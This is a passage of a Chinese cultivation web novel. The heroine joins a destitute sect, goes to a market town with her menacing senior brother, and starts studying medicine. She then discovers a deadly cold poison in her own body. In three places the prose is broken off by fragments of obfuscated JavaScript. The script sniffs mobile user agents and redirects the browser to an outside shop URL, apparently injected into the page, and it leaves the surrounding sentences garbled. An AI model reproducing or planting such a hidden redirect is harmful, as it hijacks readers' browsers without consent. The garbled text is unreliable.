“家传?”简自尘笑了,笑声低低沉沉,带着点说不清的意味,他往前走了一步,离得更近了些,曲忧几乎能闻到他身上那股淡淡的,混合了某种冷冽草木的气息。 “那师妹的家族,可真是卧虎藏龙,能养出天品冰灵根,还精通这等奇术。不知是东域哪家世家,或是隐世的高门?” 他语气带着探究,目光如有实质,仿佛要剥开她的伪装,看清内里。 曲忧关掉水瓢,甩了甩手上的水珠,转过身,正面迎上他的目光。 两人距离不过三步,她能清楚地看到他眼底那抹猩红,和眼角下那点朱砂痣,在近距离下更显妖冶。 “四师兄,”曲忧平静地开口,眼神清澈,不闪不避,“我既然来了归藏宗,以前是哪里人,有什么家传,都不重要了。重要的是,我现在是归藏宗的弟子,是师父的徒弟,是你们的师妹。” 她顿了顿,看着他,语气依旧平稳:“师兄若是对我的来历好奇,不妨直接去问师父。若是对我的医术有疑虑,下次二师姐发作,师兄可以亲自试试别的法子。” 这话软中带硬,既点明了自己的立场,又把皮球踢回给李玄舟,还暗指简自尘方才袖手旁观。 简自尘血瞳中的兴味更浓了,他非但不恼,反而又低低笑了起来,笑声愉悦,仿佛发现了什么极有趣的玩具。 他凑近一步,微微弯腰,那张俊美到妖异的脸几乎要贴到曲忧面前,温热的呼吸拂过她的额发。 “小师妹,脾气不小啊。”简自尘声音压得极低,只有两人能听清,带着点暧昧不明的缱绻,却又危险得像毒蛇吐信,“我就喜欢有脾气的。比那些哭哭啼啼,装模作样的,有意思多了。” 曲忧身体几不可察地僵了一下,但表情未变,甚至没有后退,只是抬眸,与他对视。 “是吗?”她轻轻反问,语气听不出情绪,“那恐怕要让师兄失望了。我没什么脾气,只想安静修炼,顺便治治病。” 说完,曲忧不再看他,绕过他径直走向自己的偏房,背影挺直,步伐平稳,仿佛刚才那近距离的,充满压迫感的对峙从未发生。 简自尘站在原地,看着她的背影消失在门后,嘴角的笑意慢慢敛去,血瞳深处却掠过一丝更深的,连他自己都未曾完全察觉的幽暗光芒。 他抬起手,看了看自己方才几乎要触碰到她发丝的手指,指尖无意识地捻了捻。 “只想安静修炼,治治病?”简自尘低声重复,语气意味不明。 恐怕,没那么简单呢,小师妹。 这潭死水,好像……真的要开始动了。 藤椅上的李玄舟,不知何时睁开了眼,目光扫过曲忧紧闭的房门,那双向来浑浊的醉眼里,闪过一丝极其复杂的情绪,最终化为一声几不可闻的叹息,重新闭上。 阿绒看看这个,又看看那个,不明所以,但她本能地觉得刚才的气氛有点怪怪的。 院子里阳光依旧,仿佛刚才那短暂的暗流与试探,从未存在。 7. 第 7 章 * “你要下山?” 李玄舟拎着酒葫芦,倚在正屋门框上,看着眼前背着个小包袱,神情平静的曲忧,眉毛都没动一下,语气是惯常的懒散:“去呗。腿长你身上。” 他沉默了几秒,似乎是在思虑什么,嘴巴张开又闭上,最后还是说道:“不过记得,天黑之前回来,这山里有夜枭,专叼落单的小孩儿。” 曲忧没忍住抿了抿嘴角,差点笑出来。真稀奇,她这个上辈子活了一百多年的元婴老祖,有朝一日居然还能听到别人用这样的话哄她。 不过她现在的确还是个十几岁的少女,也算是师父眼中的小孩子吧。 曲忧点点头:“是,师父,我去镇上买些东西,很快回来。” 她顿了顿,补充道:“买些吃的,还有书。” “书?”李玄舟似乎有了点兴趣,但也仅止于抬了下眼皮,“什么书?功法秘籍咱们这儿没有,有也买不起。话本子?山下茶摊倒是有租的,两个铜板看一天。” “医书。”曲忧说,声音清晰,“凡间的医书,药材图谱,脉案杂论之类的。” 这回李玄舟是真的有些意外了,他上下打量曲忧:“医书?你一个冰灵根,刚入炼气,不琢磨着怎么练剑驭冰,看那劳什子医书作甚?” “修仙之人,淬炼己身,百病不侵,就算真有点损伤,一颗丹药下去,比什么郎中汤药都管用。只有那些寿元将尽,实在突破无望的修士,或是灵根实在太差没法炼丹的,才会去琢磨点医道皮毛,混个‘医修’的名头,实际也不过是丹道的附庸罢了。” 这话听着难听,像是在给曲忧泼冷水,但他说的不假,句句都是实话。 在修仙界,真正的“医修”凤毛麟角,地位也远不如丹修、剑修、阵法师。 概因修士体质远超凡人,等闲病症根本不会得,受伤也多是与斗法、反噬、走火入魔相关,处理这些,高阶丹药、天材地宝、或是修为高深者直接以灵力温养疏导,都比所谓的“医术”来得直接有效。 低阶修士或许还用得上些凡俗医术处理小伤小痛,但到了高阶,医道的作用就十分有限了。 曲忧安静地听着,等他说完,才开口,语气没什么波澜,却带着一种深思熟虑后的笃定:“弟子明白。但弟子觉得,丹药虽好,终是外物,且丹药昂贵,非人人可得。” 她轻轻笑了笑,脑海里再次闪过现代记忆里温柔且面容模糊的老人:“而人体经络气血、阴阳五行,自有其理,若能通晓此理,或许不仅能治身,亦能调心。师父师兄师姐们,不也都有‘病’么?” 她没把话说透,但意思很明显。 丹药或许能治叶知弦体内的蛊毒,但能治她的“心病”吗?能疏导阿绒妖力反噬的暗伤吗? 能解开沈见微紧闭的石门吗?能安抚简自尘那双血瞳深处的戾气吗?甚至,能治好李玄舟那条瘸腿和他浑身的酒气吗? 丹药不能。 但“医”之道,或许能提供另一种思路,一种更贴近“人”本身,而非纯粹力量与资源的思路。 李玄舟沉默了。 他盯着曲忧看了许久,那双总是被醉意遮掩的眼睛里,有复杂的光一闪而过。 最终,他什么也没说,只是挥了挥手,像赶苍蝇一样:“随你。爱看什么看什么,钱带够,别让人坑了,去吧去吧。” 这就是同意了。 曲忧行了一礼,转身往外走。 她没多少灵石,天衍宗打发的一百下品灵石是她的全部家当,得省着花,买些最基础的医书和足够的干粮,应该还够,至于以后……再想办法。 刚走到院门口,身后传来一阵急促的,光脚丫踩在地上的“啪嗒”声,伴随着带着哭腔的叫喊: “师妹!不要走!不要丢下阿绒!” 阿绒像颗小炮弹一样冲过来,一把抱住曲忧的腿,仰起的小脸上满是惊恐的泪水,耳朵紧紧抿在脑后,尾巴也炸了毛,瑟瑟发抖:“别走,他们都走了……师父捡回来的人,都走了……阿绒怕,师妹别走!” 曲忧愣住了。 她低头看着死死抱住自己,哭得一把鼻涕一把泪的小半妖,心里某个地方被轻轻撞了一下。 这傻姑娘是以为她要像以前那些“师兄师姐”一样,跑掉不回来了。 她蹲下身,轻轻擦去阿绒脸上的泪,放缓了声音,认真地看着她的眼睛说:“阿绒,师姐不是要走。师姐只是下山去买书,买吃的,就像……就像小鸟出去捉虫子,晚上就会回窝的。你看,我的包袱都没拿多少东西,对不对?” 她示意了一下自己那个轻飘飘的小包袱,阿绒抽噎着,泪眼朦胧地看了看包袱,又看看曲忧,似乎有些将信将疑,但手上的力道松了点。 “真的?”她带着浓重的鼻音问。 “真的。”曲忧语气肯定,“我保证,太阳下山前,一定回来。回来给你带糖,好不好?” 听到“糖”,阿绒的眼睛亮了一下,但随即又被不安取代。 她看看曲忧,又看看站在不远处屋檐下,抱着手臂看好戏似的简自尘,忽然松开曲忧的腿,跑到简自尘面前,扯了扯他的衣角,仰头带着哭腔恳求:“四师兄,你,你跟师妹去,保护师妹……别让坏人抓走师妹,让师妹回来……” 简自尘正百无聊赖地用指尖弹着手中长剑的剑柄,闻言,动作一顿。 他低头,血红的眸子对上阿绒湿漉漉,满是恳求的琥珀色眼睛,又抬起,掠过微微蹙眉的曲忧,嘴角缓缓勾起一个意味不明的弧度。 “保护她?”他歪了歪头,声音拖长,带着点戏谑,“小傻子,你看她需要人保护么?她可是能把发疯的二师姐都唬住的人呢。” 话虽这么说,他却直起身,随意地将长剑抱回臂弯,慢悠悠地踱到曲忧面前,居高临下地看着她。 他比曲忧高了大半个头,血瞳中映出她平静的面容。 “不过,”简自尘话锋一转,笑容加深,那点红痣在眼角显得愈发漂亮,“反正我也闲着没事,这破山沟,早就待腻了。小师妹,不介意师兄陪你走一趟,顺便‘保护’你吧?” 他刻意加重了“保护”两个字,眼神里可没什么保护者的正经,全是玩味和一种找到新乐子的兴味。 曲忧看着简自尘,这位师兄给她的印象很危险,难以捉摸,行事全凭喜好。 让他跟着,不知是福是祸,但阿绒的眼泪和不安是真的,有个人跟着,或许也能让这小傻子安心点,早点放她走。 而且……潜意识里,曲忧并不觉得简自尘会真的伤害她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491780|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是一种很微妙的感觉,源于这两日观察到的细节,简自尘虽然看似对一切都漠不关心,只顾自己找乐子,但昨晚她修炼时,屋顶的哼唱声曾短暂停歇,似乎有那么一刻,注意力落在了她的房间方向。 那天叶知弦发疯,他虽然看戏,但当自己挡在门前时,他身上的气息也有刹那的凝滞。 “那就麻烦四师兄了。”曲忧平静地点头,算是同意。 简自尘似乎对她的爽快有些意外,挑了挑眉,随即笑容更盛,露出一颗小小的尖牙:“不麻烦。走吧,小师妹。让师兄看看,你要买的那些凡人的书,到底有什么稀罕。” 安抚好终于破涕为笑,再三确认“师妹回来”“四师兄保护”的阿绒,曲忧和简自尘一前一后,走出了归藏宗那扇吱呀作响的破木门。 下山的路比上山时似乎好走了些,简自尘走在前面,步子不紧不慢,却总能恰到好处地踩在稳固的石块或露出地面的树根上,仿佛对这条路很熟。 他抱着剑,黑发在穿过林隙的阳光下泛着微光,背影挺拔却透着股散漫不羁。 曲忧跟在后面半步,默默观察。简自尘身上的气息很奇特,并非纯粹的灵气,也非魔气,而是一种隐含着暴烈与锋锐,却又被某种冰冷意志强行约束着的诡异力量,大概就是师父口中那“不提也罢”的部分了。 “小师妹,”走了一段,前面的简自尘忽然开口,没回头,声音带着点漫不经心的好奇,“你为什么不去天衍宗?” “以你的资质,他们应该求之不得吧?就算那老头不要你,其他峰主长老肯定抢着要。何必来我们这鸟不拉屎的穷窝,跟着一群……废人?” 他用了“废人”这个词,语气随意,仿佛在说今天天气不错。 曲忧脚步未停,声音同样平淡:“不想去,便不去了。哪有那么多为什么。” “哦?”简自尘似乎对这个答案不甚满意,或者说,他纯粹就是想找点话茬,“是不想去,还是不敢去?” 曲忧心头微凛,抬眼看向他的背影。 简自尘却像是随口一说,并未深究,转而道:“那你又为何想当医修?就为了治那几个人?” 他嗤笑一声:“治好了又如何?治不好又如何?这世道,强者为尊,自身不够强,学再多旁门左道,也是蝼蚁。” “四师兄说的是。”曲忧并不反驳,只是道,“但我觉得,道有万千,未必只有‘强’之一途,若能以医术解人苦痛,或许也是一种‘强’。” “解人苦痛?”简自尘像是听到了什么天大的笑话,终于回过头,血红的眸子盯着她,里面翻涌着毫不掩饰的讥诮与一丝深藏的戾气。 “这世上,苦痛才是常态。弱肉强食,适者生存你解了今日的痛,明日还有新的痛。你救了眼前的人,或许转头他就死在别人手里。” 他冷笑:“何必多此一举?不如让自己变强,强到无人敢给你痛,强到可以随意决定别人的苦痛,那才叫痛快。” 这番话,带着一种偏激的,近乎残忍的冷漠。 好强的戾气,难道是心魔的影响吗? 曲忧沉默了片刻,就在简自尘以为她被自己这番“高论”镇住,或者会出言反驳时,她忽然轻声问: “那四师兄,你现在强吗?” 8. 第 8 章 简自尘脚步猛地顿住。 曲忧也停下,抬眸,平静地回视他那双骤然变得深沉危险的血眸,继续道:“如果够强,为何会在这里?如果够强,为何会觉得,随意决定他人苦痛,才是痛快?” 她的声音不高,语速平缓,甚至没什么情绪,却像一把钝刀子,缓慢而精准地划开了某种表象。 简自尘脸上的讥诮和玩世不恭,如同潮水般褪去。 他死死盯着曲忧,血瞳深处仿佛有暗红色的火焰在燃烧,周身那股原本就危险的气息骤然变得凛冽刺骨,带着血腥味的杀意几乎凝成实质,周围的空气都仿佛降低了温度,林间的鸟叫虫鸣瞬间噤声。 他在暴怒的边缘。 或者说,是“心魔”在暴怒。 曲忧早就察觉到了简自尘不正常的状态,现在更加确定对面这人已经心魔入体,或者说,心魔已经严重到抢夺了身体的控制权。 指尖微凉,体内那缕微薄的灵力自发运转,抵御着这股令人心悸的威压,但曲忧没有退,眼神依旧清正,甚至带着一丝了然的平静,仿佛早就料到他会有此反应。 这个状态的简自尘,用玩世不恭和尖锐偏激包裹着的,是同样深重,甚至可能更加扭曲的“病”与“痛”。 他认为的“强”,恰恰建立在对自身“弱”与“痛”的极端否认和对抗之上。 两人就这样无声地对峙着,山道上的风都仿佛凝固了。 良久,简自尘周身那恐怖的气息,如同它出现时一样,突兀地收敛了回去。 他脸上重新挂上了那副似笑非笑的表情,只是那笑意不达眼底,血瞳深处是化不开的冰冷。 “牙尖嘴利。”简自尘扯了扯嘴角,转身继续往前走,步伐比之前快了些,“但愿你的医术,有你的嘴皮子一半厉害。” 曲忧看着他的背影,轻轻舒了口气,跟了上去。 刚才那一瞬的锋芒相对,让她对这个危险的“四师兄”,有了更深一层的认知,但也隐隐觉得,撕开那层玩世不恭的伪装后,底下或许并非全然不可沟通。 至少,他没有真的对她出手。 两人再无话,沉默地下了山,雇了辆驴车,摇摇晃晃地朝着最近的,稍大些的城镇青田镇行去。 青田镇比山脚散集繁华许多,街道两旁店铺林立,人来人往,有凡人,也有不少低阶修士混杂其中。 天衍宗收徒大典刚过不久,镇上还能看到一些身着天衍宗外门服饰的弟子,或采买,或办事。 曲忧不欲多生事端,压低了头上自制的简陋帷帽,直奔镇上的书肆和杂货铺。 简自尘则抱着剑,不远不近地跟在她身后几步,他的相貌和气息实在扎眼,血瞳懒洋洋地扫视着街景,对那些或探究、或畏惧、或厌恶的目光浑不在意,仿佛只是逛自家院子。 在书肆,曲忧挑挑拣拣,买了四五本最基础的《黄帝内经》残卷抄本、《神农本草经》辑要、一本泛黄的《经络腧穴概略》,还有两本某位凡间游方郎中的行医札记。 书都不贵,但对她而言已是倾尽大半灵石,她又去杂货铺买了足够她和阿绒吃半个月的米面粗粮,一点盐,以及一小包镇上能买到的最便宜的饴糖,这是答应阿绒的。 东西买齐,正准备打道回府,路过镇上唯一一家稍微上点档次,兼卖低阶丹药材料的百草阁时,里面恰好走出来几个人。 为首的是个穿着天衍宗内门弟子服饰的青年,约莫二十出头,筑基初期修为,面容还算端正,只是眉眼间带着一股挥之不去的倨傲。 他身后跟着两个外门弟子打扮的跟班,正点头哈腰地说着什么。 那内门弟子一抬头,目光随意扫过街面,恰好落在了刚从杂货铺出来,抱着几本书和一包粮食的曲忧身上。 曲忧虽然戴着帷帽遮了大半面容,但身形气质难掩,尤其是怀里那几本与修士格格不入的凡俗医书,甚是扎眼。 那弟子目光在医书封皮上停留一瞬,又瞥见她身上毫无门派标识的粗布衣服,以及那低微得几乎可以忽略的炼气一层波动,嘴角立刻勾起一抹毫不掩饰的轻蔑笑意。 “啧,我当是谁,这不是前几日在我天衍宗山门前,大放厥词,拒不入门的那个‘天品冰灵根天才’么?”他声音不高不低,却足够让附近的人都听清,顿时引来不少目光。 他上前,挡在了曲忧面前,上下打量着她,尤其在她怀里的医书和粮食上停留,嘲弄道:“怎么?放着天下第一宗不去,放着大好前程不要,原来是跑来这里……” 他顿了顿,恶意更甚:“学凡夫俗子当郎中了?还自己买米下锅?哈哈哈,真是笑死人了!看来某些人,不是心比天高,是眼高手低,自甘堕落,只配与这柴米油盐,破烂医书为伍!” 他身后的两个跟班也配合地发出嗤笑声,引来更多人围观。 不少人都认出了曲忧,当日天衍宗山门前那戏剧性一幕,早已传遍附近,此刻见到“主角”,都指指点点,议论纷纷,多是看笑话的眼神。 曲忧停下脚步,帷帽下的表情没什么变化。 她认出这人了,是前世天衍宗某个长老的侄子,仗着关系进了内门,修为平平,却最爱仗势欺人,捧高踩低。 前世没少在资源分配上给她使过绊子,后来似乎成了白若薇的忠实拥趸之一。 没想到,这么快就遇上了。 曲忧还没说话,旁边忽然响起一个懒洋洋的,带着点玉石感的少年嗓音: “喂,前面那几坨。” 简自尘不知何时已走到了曲忧身侧,依旧是那副抱剑倚墙的松散姿态,血红的眸子斜睨着那天衍宗内门弟子,嘴角噙着那抹邪气的笑。 “好狗不挡道,没听说过么?”他语气轻慢,“还是说,你们天衍宗教出来的,都是些听不懂人话,只会在街上乱吠的玩意儿?” 那内门弟子脸色瞬间阴沉下来,他看向简自尘,待看清对方那诡异的血瞳和周身隐隐的危险气息时,瞳孔微缩,闪过一丝忌惮,但想到自己天衍宗内门弟子的身份,又挺直了腰板,厉声道:“你是何人?敢辱我天衍宗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491781|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “辱?”简自尘像是听到了什么有趣的话,低低笑了两声,血瞳中却毫无笑意,只有一片冰冷的戾气在蔓延,“你们挡着我师妹的路了,还出言不逊。现在,要么滚,要么……” 他指尖轻轻弹了一下怀中长剑的剑柄,发出一声清越的嗡鸣。 “死。” 最后一个字落下,一股远比之前面对曲忧时更加狂暴,更加血腥,仿佛带着实质铁锈味的凛冽杀意,如同无形的潮水,猛地朝那天衍宗弟子三人压去! 那不是灵压,是纯粹的,从尸山血海中淬炼出的杀戮之意! 那天衍宗内门弟子不过是筑基初期,何曾直面过如此恐怖的杀意? 他瞬间如坠冰窟,脸色惨白如纸,噔噔噔连退三步,后背冷汗涔涔,双腿发软,差点一屁股坐在地上。 他身后两个跟班更是不堪,直接瘫软在地,牙齿打颤,□□处隐隐有湿痕渗出,竟是被吓失禁了。 周围看热闹的人群也像是被掐住了脖子,瞬间鸦雀无声,所有人都感到一阵头皮发麻的心悸,惊恐地看着那个黑发血瞳,笑得分外妖异的少年。 曲忧也感到一阵寒意掠过皮肤,但更多的是一种奇异的平静。 她看着挡在自己身前,仅凭气势就碾压强敌的简自尘,看着他挺直却依旧透着股懒散劲的背影。 这个人……果然很强。 “你、你敢……”那天衍宗弟子色厉内荏,还想说点场面话。 “三。”简自尘忽然开始数数,声音不高,却像敲在人心头的丧钟。 “二。” 那天衍宗弟子魂飞魄散,再也顾不得什么脸面,连狠话都不敢放,几乎是连滚爬爬地,拖着两个瘫软的跟班,眨眼间就消失在了街角,狼狈不堪。 简自尘缓缓收敛了那骇人的杀意,周遭的空气仿佛都松快了些。 他转过身,血瞳看向曲忧,又恢复了那副玩世不恭的模样,仿佛刚才那个煞神不是他。 “解决了。”简自尘耸耸肩,语气轻松,“小师妹,下次遇到这种乱吠的狗,直接让师兄处理就好。你可是要当医修的人,手上沾了血,多不好。” 曲忧隔着帷帽的薄纱,静静看了他两秒,然后轻轻“嗯”了一声:“谢谢四师兄。” 简自尘似乎愣了一下,随即,嘴角那抹惯常的弧度几不可察地微微弯了一下,又迅速平复。 “走了,”他转身,率先朝镇外走去,背影依旧散漫,声音飘来,“再晚,太阳下山前可回不去了,阿绒那傻丫头,怕是要把道观哭塌。” 曲忧抱着书和粮食跟了上去,夕阳将两人的影子拉得很长,交叠在青石板路上。 身后,是渐渐恢复喧嚣的城镇,和那些久久未散,充满敬畏与好奇的议论。 “刚才那个红眼睛的是什么人?好可怕!” “不知道……但那个戴帷帽的姑娘,好像就是前几天拒了天衍宗的那位……” “天品冰灵根,却跟了这么个煞神师兄?” 这些,都与曲忧无关了。 9. 第 9 章 阿绒蹲在道观门口的石阶上,已经不知道是第多少次伸长脖子往下山小路张望了。 夕阳把她的影子拉得老长,毛茸茸的耳朵不安地抖动着,尾巴也无精打采地垂在身后,时不时扫一下地面,扬起细细的灰尘。 “师妹……糖……太阳……”她嘴里含糊地念叨着,琥珀色的大眼睛里蓄满了不安的泪水,眼看又要掉下来。 她记得师妹说过,太阳下山前就回来,可天边那最后一点金色,眼看着就要被灰蓝色的暮霭吞没了。 就在她小嘴一瘪,准备放声大哭时,山道拐角处,终于出现了两个熟悉的身影。 “师妹!四师兄!”阿绒的眼睛瞬间亮了,像两颗被擦亮的琥珀,她“噌”地一下从石阶上弹起来,光着脚丫就朝山下冲去,跑得又快又急,差点被自己的尾巴绊倒。 曲忧老远就看到了门口那个望眼欲穿的小小身影,心里微软,她加快脚步,迎了上去。 阿绒撞进她怀里,冰凉的小手紧紧抓住她的衣襟,仰起的小脸上还挂着泪珠,却已绽开大大的笑容,带着哭腔喊:“师妹,回来了,太阳还没全下去!” “嗯,回来了。”曲忧轻轻拍了拍她的背,从怀里掏出那个小心包好的油纸包,在她面前晃了晃,“看,答应阿绒的糖。” 香甜的气息透过油纸散发出来,阿绒的鼻子立刻像小动物一样耸动起来,眼睛瞪得溜圆,一眨不眨地盯着油纸包,喉咙里发出渴望的咕噜声,尾巴也开始不受控制地欢快摇摆,扫过曲忧的小腿。 “糖,糖!”她欢呼起来,小心翼翼地从曲忧手里接过油纸包,像捧着什么稀世珍宝。 她先是凑近深深吸了一口那甜滋滋的味道,然后才用指甲笨拙地挑开油纸的一角,露出里面几块淡黄色,半透明的饴糖。 她捻起最小的一块,先是伸出粉嫩的舌尖,小心翼翼地舔了一下,琥珀色的眼睛瞬间幸福地眯成了月牙。 然后,她才将整块糖放进嘴里,含在腮帮子一边,满足地鼓起一小块,小脸上洋溢着纯粹的,近乎梦幻的快乐。 “甜,师妹好,阿绒最喜欢师妹了!”她含糊不清地说着,一边嚼着糖,一边又往曲忧身上蹭,尾巴摇得像风车,之前的担忧和眼泪早就抛到了九霄云外。 跟在她后面慢悠悠走上来的简自尘,瞥了一眼黏在曲忧身上,笑得见牙不见眼的小傻子,嗤笑一声:“一块糖就被收买了,没出息。” 话虽这么说,他血瞳深处那惯常的冰冷戾气,似乎也因眼前这幅简单温暖的画面,而略微柔和了那么一丝丝。 曲忧牵着阿绒,抱着书和粮食往回走。 李玄舟依旧躺在院中藤椅上,抱着酒葫芦,对她们的归来只是掀了掀眼皮,嗯了一声,算是打过招呼。 叶知弦的房门紧闭,不知是在沉睡还是又沉浸在哀伤里,沈见微的石屋一如既往,沉默如山。 接下来的日子,曲忧的生活规律起来。 清晨,在阿绒钻进她被窝前醒来,打坐修炼,巩固炼气一层的修为,并尝试按照医书中记载的粗浅养生法,调理自身气息。 她隐约觉得身体有些虚,多调理总没错。 上午,她会花一个时辰,坐在大师兄沈见微那扇紧闭的石门外。 她也不做别的,就摊开那本《黄帝内经》或《经络腧穴概略》,用清晰平稳的声调,一字一句地朗读。 “……经脉者,所以能决死生,处百病,调虚实,不可不通……” “……肺合大肠,大肠者,传道之府,变化出焉……” 第一日,石门后寂静无声,只有她自己的读书声在空旷的院子里回荡,伴着远处叶知弦偶尔飘出的破碎琴音,和屋顶简自尘那不成调的,时有时无的哼唱。 第二日,依旧。 曲忧并不气馁。 她本也没指望一蹴而就,大师兄将自己封闭在石室中,必然有极深的缘由。 她只是用这种方式,向他传递一个信号:我在这里,我无害,或许……我还懂一点点你可能会感兴趣的东西。 第三日,当曲忧念到一段关于“气海”穴定位与功能的描述时,石门后,终于传来了声音。 那声音很轻,带着久未开口的微哑,和一种浸入骨髓的冷淡疏离,隔着厚重的石门,显得有些模糊失真,却异常清晰地钻入曲忧耳中: “第三段,气海穴,位于脐下一寸五分。你手中抄本,图示有误,标注偏离半寸。按此谬误行针运气,轻则气滞,重则伤及丹田。” 曲忧的读书声戛然而止。 她握着书卷的手指微微收紧,心脏却不争气地快跳了两拍,带着微小的雀跃。 大师兄愿意搭理她了,而且,一语就指出了她手中这凡俗抄本的错误。 这说明他不仅听着,还听得极为认真,甚至本身在医道,或至少是人体窍穴经络上,就有极深的造诣。 “多谢大师兄指点!”曲忧立刻对着石门,认真地道谢。 里面又安静了,仿佛刚才那一声只是她的幻觉。 但曲忧知道不是,从那天起,她每日雷打不动地去石门外读书。 而沈见微,也偶尔会在他认为她读错,或者书中记载有明显疏漏,甚至某些理论过于粗浅可笑时,出声纠正或点评一两句。 “手少阳三焦经,并非起于无名指,此乃后世谬传,源头在《灵枢》残卷解读有误。” “此方中用‘朱砂’三钱?庸医害人,半钱已是极限,且需佐以……” 他的点评往往一针见血,语气始终淡漠,从不延伸,纠正完便再次沉寂。 但曲忧能感觉到,那扇紧闭的石门背后,并非一片死寂的黑暗,那里有一个清醒、理智、甚至可能渊博的灵魂,只是用冰冷和沉默,将自己与外界彻底隔绝。 曲忧也不多问,不多求,每日读书,请教,将他的指点认真记下,回去再对照其他医书和自己那些模糊的现代记忆琢磨。 她与沈见微之间,形成了一种奇特而稳定的“隔门教学”关系。 日子一天天过去,阿绒越来越黏她,叶知弦情绪崩溃的次数似乎略微减少,李玄舟依旧酗酒,但偶尔看向她修炼时的眼神更加复杂,简自尘神出鬼没,时而看她读书,时而消失不见。 曲忧以为,她会这样,慢慢在这破败却安稳的归藏宗,找到自己的节奏,一边修炼,一边学医,一边观察着她的“病人们”。 直到那个月圆之夜。 深夜万籁俱寂,曲忧忽然在睡梦中打了个寒颤。 一种熟悉的、冰冷的、仿佛从骨髓深处渗出的寒意,毫无预兆地席卷了她全身。 这感觉她前世也有过,尤其是每次耗尽灵力,或身受重伤之后,总会觉得体虚畏寒,但她只当是损耗过大,从未深究。 可这一次不同。 那寒意来得又急又猛,几乎是瞬间就夺走了她四肢百骸的温度。 牙齿不受控制地开始打颤,咯咯作响,血液像是要冻结在血管里,皮肤表面迅速凝结出一层薄薄的白霜,嘴唇失去血色,变得青紫。 冷……好冷…… 仿佛赤身裸体被扔进了万载冰窟的最底层,连灵魂都要被冻僵。 曲忧想运转灵力抵抗,可丹田内那缕微弱的冰灵气,此刻不仅无法御寒,反而像是受到了某种召唤,变得异常活跃而贪婪。 它非但没有温暖经脉,反而加速汲取着她体内本就所剩无几的热量,让寒意蔓延得更快! 意识在急速涣散,视野被一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李玄舟深吸一口气,仿佛要说出的话有千斤重:“这是‘寒毒’。而且是极为阴损霸道,与你的冰灵根同源相生,却又互相冲突吞噬的那种。” “它蛰伏在你经脉深处,平日不显,但每逢月圆,太阴之气最盛之时,便会受引爆发,一次比一次猛烈。以你现在的状况……” 他顿了顿,看着曲忧那双依旧清澈、却带着茫然的眼睛,一字一句道: “不根治,你活不过三十岁。而且,越往后,发作越痛苦,死状会极惨。” 活不过……三十? 曲忧呆呆地看着他,大脑有瞬间的空白。 前世,她确实有体寒的毛病,但一直以为是幼时亏空,修炼劳心所致,从未深究。 她死时,已是一百五十余岁“高龄”,自然没机会体会这寒毒三十岁时的要命发作。 曲忧忽然扯了扯嘴角,似乎想笑,可喉咙里发出的,却是破碎的,带着泣音的气声。 那“笑声”越来越大,最终变成了无法抑制的,带着浓浓自嘲和荒诞意味的大笑,笑着笑着,冰凉的眼泪毫无预兆地滚落下来,混着脸上的冷汗,一片狼藉。 原来……如此。 原来她也有病。 师父瘸腿酗酒,大师兄眼瞎自闭,二师姐中蛊恋爱脑,三师姐半妖心智不全,四师兄,那个血瞳少年,怕是也藏着难以言说的心魔。 现在,再加上她这个每月月圆就要发作,不治就活不过三十的寒毒。 这归藏宗,从上到下,从里到外,还真是没一个正常人。 师门上下,全都有病。 10. 第 10 章 李玄舟看着她又哭又笑,状若癫狂的样子,眉头紧锁,眼神复杂难言。 有痛惜,有愧疚,有深深的无力,还有一丝早已麻木的苍凉。他伸出手,有些笨拙地,拍了拍她湿漉漉的头顶,声音低沉: “现在,后悔还来得及。明天天亮,你就下山。以你的资质,找个大宗门,他们肯定有办法压制你的寒毒。” 离开?去大宗门? 曲忧抬起头,用袖子胡乱抹了一把脸,将那些冰冷的泪水和汗水擦去。 那双刚刚还被绝望和荒诞笼罩的眼睛,此刻却像是被泪水洗过一般,变得更加清澈,也更加坚定。 曲忧推开李玄舟扶着他的手臂,有些踉跄地,但努力稳住了身体,从床上站了起来。 尽管双腿还在发软,尽管五脏六腑还残留着冰火交织的余痛,她的脊背,却挺得笔直。 她看向李玄舟,目光缓缓移向门口。 刚才的动静显然惊动了其他人,叶知弦不知何时已站在了门外,抱着琴,脸色苍白,眼神里还残留着惊魂未定,但更多的是看向她时,那无法掩饰的担忧和同病相怜的悲戚。 阿绒也被吵醒了,光着脚跑过来,此刻正扒在门框边,琥珀色的大眼睛里蓄满了泪水,尾巴害怕地夹在腿间,看着曲忧,想靠近又不敢,小嘴瘪着,眼看又要哭出来。 曲忧深吸一口气,叉着腰,用异常坚定的声音,对着他们,也对着那扇紧闭的石门,一字一句清晰地说道: “我,不走。” 她明明身形还单薄,气势却仿佛能撑起这片破败的夜空,声音不大,带着一种温柔的,不容置疑的强悍: “我一定会治好你们!” “我们归藏宗,一个都不能少。” 话音落下,院中一片死寂。 阿绒第一个反应过来,她“哇”地一声哭出来,却不是害怕,而是巨大的喜悦和依赖。 她紧紧抱住曲忧的腰,把满是泪痕的小脸埋在她怀里,呜呜地哭:“师妹不走,阿绒和师妹一起,治病,阿绒听话!” 